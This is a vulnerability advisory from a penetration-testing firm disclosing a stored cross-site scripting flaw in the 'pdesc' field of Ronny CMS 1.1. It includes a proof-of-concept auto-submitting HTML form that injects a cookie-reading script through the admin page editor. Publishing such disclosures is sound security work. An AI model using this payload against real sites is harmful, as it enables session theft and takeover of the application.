Vulnerability ID: HTB22630 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_ronny_cms_2.html Product: Ronny CMS Vendor: TO4KA Programming Team ( http://ronny-cms.ru/ ) Vulnerable Version: 1.1 r935 and probably prior versions Vendor Notification: 29 September 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "modules/pages/admin/include/pages.php" script to properly sanitize user-supplied input in "pdesc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/pages/admin/index.php?op=editPage1"; method="post" enctype="multipart/form-data" > <input type="hidden" name="pid" value="0" /> <input type="hidden" name="pname" value="Page name" /> <input type="hidden" name="purl" value="main" /> <input type="hidden" name="ptemplate" value="index" /> <input type="hidden" name="porder" value="0" /> <input type="hidden" name="ptext" value="Ronny CMS page text" /> <input type="hidden" name="pfile"; filename="" /> <input type="hidden" name="pdesc" value='page description"><script>alert(document.cookie)</script>' /> <input type="hidden" name="pkeywords" value="page metas" /> <input type="hidden" name="ptags" value="" /> <input type="hidden" name="update_pid" value="1" /> <input type="submit" id="btn" name="submit" value="SAVE" /> </form> <script> document.getElementById('btn').click(); </script>
